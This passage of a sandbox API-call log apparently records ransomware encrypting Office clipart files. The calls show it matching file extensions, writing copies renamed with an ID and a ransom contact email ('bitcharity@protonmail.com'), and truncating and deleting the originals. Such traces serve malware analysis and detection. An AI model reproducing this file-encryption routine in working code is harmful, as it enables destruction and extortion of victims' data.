Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.822] lstrlenW (lpString=".doc") returned 4 [0152.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString=".docx") returned 5 [0152.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.822] lstrlenW (lpString=".pdf") returned 4 [0152.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.822] lstrlenW (lpString=".xls") returned 4 [0152.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.822] lstrlenW (lpString=".xlsx") returned 5 [0152.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.823] lstrlenW (lpString=".ppt") returned 4 [0152.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.823] lstrlenW (lpString=".zip") returned 4 [0152.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.823] lstrlenW (lpString=".rar") returned 4 [0152.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.823] lstrlenW (lpString=".bz2") returned 4 [0152.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.823] lstrlenW (lpString=".7z") returned 3 [0152.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.823] lstrlenW (lpString=".dbf") returned 4 [0152.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.823] lstrlenW (lpString=".1cd") returned 4 [0152.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0152.823] lstrlenW (lpString=".jpg") returned 4 [0152.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.823] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.823] lstrlenW (lpString="BD07831_.WMF") returned 12 [0152.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.824] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=4066) returned 1 [0152.824] CloseHandle (hObject=0x1084) returned 1 [0152.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0152.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.824] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.824] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0152.825] GetLastError () returned 0x0 [0152.825] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xfe2, lpOverlapped=0x0) returned 1 [0152.854] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xff0, lpOverlapped=0x0) returned 1 [0152.856] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.856] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.856] SetEndOfFile (hFile=0x1098) returned 1 [0152.856] CloseHandle (hObject=0x1098) returned 1 [0152.857] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.857] SetEndOfFile (hFile=0x1084) returned 1 [0152.858] CloseHandle (hObject=0x1084) returned 1 [0152.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.859] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0152.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.859] lstrlenW (lpString=".doc") returned 4 [0152.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.859] lstrlenW (lpString=".docx") returned 5 [0152.859] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.859] lstrlenW (lpString=".pdf") returned 4 [0152.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.859] lstrlenW (lpString=".xls") returned 4 [0152.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.859] lstrlenW (lpString=".xlsx") returned 5 [0152.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.860] lstrlenW (lpString=".ppt") returned 4 [0152.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.860] lstrlenW (lpString=".zip") returned 4 [0152.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.860] lstrlenW (lpString=".rar") returned 4 [0152.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.860] lstrlenW (lpString=".bz2") returned 4 [0152.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.860] lstrlenW (lpString=".7z") returned 3 [0152.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.860] lstrlenW (lpString=".dbf") returned 4 [0152.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.860] lstrlenW (lpString=".1cd") returned 4 [0152.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.860] lstrlenW (lpString=".jpg") returned 4 [0152.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.860] lstrlenW (lpString=".doc") returned 4 [0152.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.860] lstrlenW (lpString=".docx") returned 5 [0152.860] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.860] lstrlenW (lpString=".pdf") returned 4 [0152.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.861] lstrlenW (lpString=".xls") returned 4 [0152.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.861] lstrlenW (lpString=".xlsx") returned 5 [0152.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.861] lstrlenW (lpString=".ppt") returned 4 [0152.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.861] lstrlenW (lpString=".zip") returned 4 [0152.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.861] lstrlenW (lpString=".rar") returned 4 [0152.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.861] lstrlenW (lpString=".bz2") returned 4 [0152.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.861] lstrlenW (lpString=".7z") returned 3 [0152.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.861] lstrlenW (lpString=".dbf") returned 4 [0152.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.861] lstrlenW (lpString=".1cd") returned 4 [0152.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0152.861] lstrlenW (lpString=".jpg") returned 4 [0152.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.862] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.862] lstrlenW (lpString="BD08758_.WMF") returned 12 [0152.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.862] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=24320) returned 1 [0152.862] CloseHandle (hObject=0x1084) returned 1 [0152.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0152.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.863] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.863] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0152.863] GetLastError () returned 0x0 [0152.863] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x5f00, lpOverlapped=0x0) returned 1 [0152.913] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x5f10, lpOverlapped=0x0) returned 1 [0152.915] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.915] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.915] SetEndOfFile (hFile=0x1098) returned 1 [0152.915] CloseHandle (hObject=0x1098) returned 1 [0152.917] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.917] SetEndOfFile (hFile=0x1084) returned 1 [0152.918] CloseHandle (hObject=0x1084) returned 1 [0152.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0152.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.919] lstrlenW (lpString=".doc") returned 4 [0152.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.919] lstrlenW (lpString=".docx") returned 5 [0152.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.919] lstrlenW (lpString=".pdf") returned 4 [0152.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.919] lstrlenW (lpString=".xls") returned 4 [0152.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.919] lstrlenW (lpString=".xlsx") returned 5 [0152.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.919] lstrlenW (lpString=".ppt") returned 4 [0152.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.919] lstrlenW (lpString=".zip") returned 4 [0152.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.919] lstrlenW (lpString=".rar") returned 4 [0152.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.919] lstrlenW (lpString=".bz2") returned 4 [0152.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.919] lstrlenW (lpString=".7z") returned 3 [0152.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.919] lstrlenW (lpString=".dbf") returned 4 [0152.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.920] lstrlenW (lpString=".1cd") returned 4 [0152.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.920] lstrlenW (lpString=".jpg") returned 4 [0152.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.920] lstrlenW (lpString=".doc") returned 4 [0152.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.920] lstrlenW (lpString=".docx") returned 5 [0152.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.920] lstrlenW (lpString=".pdf") returned 4 [0152.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.920] lstrlenW (lpString=".xls") returned 4 [0152.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.920] lstrlenW (lpString=".xlsx") returned 5 [0152.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.920] lstrlenW (lpString=".ppt") returned 4 [0152.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.920] lstrlenW (lpString=".zip") returned 4 [0152.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.920] lstrlenW (lpString=".rar") returned 4 [0152.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.921] lstrlenW (lpString=".bz2") returned 4 [0152.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.921] lstrlenW (lpString=".7z") returned 3 [0152.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.921] lstrlenW (lpString=".dbf") returned 4 [0152.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.921] lstrlenW (lpString=".1cd") returned 4 [0152.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0152.921] lstrlenW (lpString=".jpg") returned 4 [0152.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.921] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.921] lstrlenW (lpString="BD08868_.WMF") returned 12 [0152.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.922] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=40206) returned 1 [0152.922] CloseHandle (hObject=0x1084) returned 1 [0152.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0152.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0152.922] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.922] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0152.923] GetLastError () returned 0x0 [0152.923] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0152.938] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x9d10, lpOverlapped=0x0) returned 1 [0152.940] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.940] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.940] SetEndOfFile (hFile=0x1098) returned 1 [0152.940] CloseHandle (hObject=0x1098) returned 1 [0152.942] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.942] SetEndOfFile (hFile=0x1084) returned 1 [0152.944] CloseHandle (hObject=0x1084) returned 1 [0152.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.944] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0152.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0152.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0152.945] lstrlenW (lpString=".doc") returned 4 [0152.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.945] lstrlenW (lpString=".docx") returned 5 [0152.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.945] lstrlenW (lpString=".pdf") returned 4 [0152.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.945] lstrlenW (lpString=".xls") returned 4 [0152.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.945] lstrlenW (lpString=".xlsx") returned 5 [0152.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.945] lstrlenW (lpString=".ppt") returned 4 [0152.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0152.945] lstrlenW (lpString=".zip") returned 4 [0152.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.945] lstrlenW (lpString=".rar") returned 4 [0152.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.945] lstrlenW (lpString=".bz2") returned 4 [0152.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.945] lstrlenW (lpString=".7z") returned 3 [0152.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0152.945] lstrlenW (lpString=".dbf") returned 4 [0152.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0152.946] lstrlenW (lpString=".1cd") returned 4 [0152.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0152.946] lstrlenW (lpString=".jpg") returned 4 [0152.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.957] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.957] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.957] CreateFileW (lpFileName="C:\\Program 